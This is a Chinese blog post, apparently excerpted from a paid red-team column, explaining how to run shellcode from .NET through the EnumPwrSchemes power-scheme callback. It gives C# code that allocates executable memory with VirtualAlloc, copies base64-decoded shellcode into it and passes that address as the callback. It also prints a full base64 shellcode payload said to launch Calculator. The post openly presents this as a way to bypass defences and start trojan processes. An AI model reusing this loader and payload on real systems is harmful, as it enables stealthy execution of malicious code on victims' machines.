.NET内网实战:通过回调函数执行Shellcode

01阅读须知

此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧。

02基本介绍

本文内容部分节选自小报童《.NET 通过回调函数执行Shellcode启动进程》!

图片

03编码实现

在红队活动往往需要考虑如何在实际环境中绕过防御机制,启动木马进程。今天,我们将深入探讨一种较少被提及但非常有趣的技术—利用 EnumPwrSchemes 函数回调来执行Shellcode。

3.1 EnumPwrSchemes函数

EnumPwrSchemes 是 Windows 操作系统中的一个 API 函数,位于 C:\Windows\System32\powrprof.dll 库中,用于枚举系统中的电源配置,可以控制计算机的电源使用策略,比如休眠、关闭硬盘、显示器等。EnumPwrSchemes 函数原型如下所示。

BOOLEAN EnumPwrSchemes(
  PWRSCHEMESENUMPROC lpfn,
  LPARAM             lParam
);

接受一个回调函数和一个参数指针,其中,lpfn参数是一个指向回调函数的指针,该回调函数用于处理每个电源配置的详细信息,另一个参数lParam,是一个自定义参数,类型为 LPARAM,它会被传递给回调函数,通常用于传递上下文信息,每当找到一个系统电源配置时,会自动调用该函数。

3.2 EnumPwrSchemes函数

下面这个代码片段展示了如何在.NET中使用 VirtualAlloc 和 EnumPwrSchemes 函数协同完成执行Shellcode启动计算器进程。

string base64Content = args[0];
byte[] shellcode = Convert.FromBase64String(base64Content);
IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
EnumPwrSchemes(addr, IntPtr.Zero);

上述代码中首先,从命令行参数中获取 Base64 编码的 Shellcode,这里使用启动本地计算器的Shellcode,具体如下所示。

/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlAA==

综上,通过使用 EnumPwrSchemes 等 Windows API 函数,攻击者可以隐藏并执行恶意代码。

04.NET 电子报刊

本次电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理

图片

图片

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

dot.Net安全矩阵

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值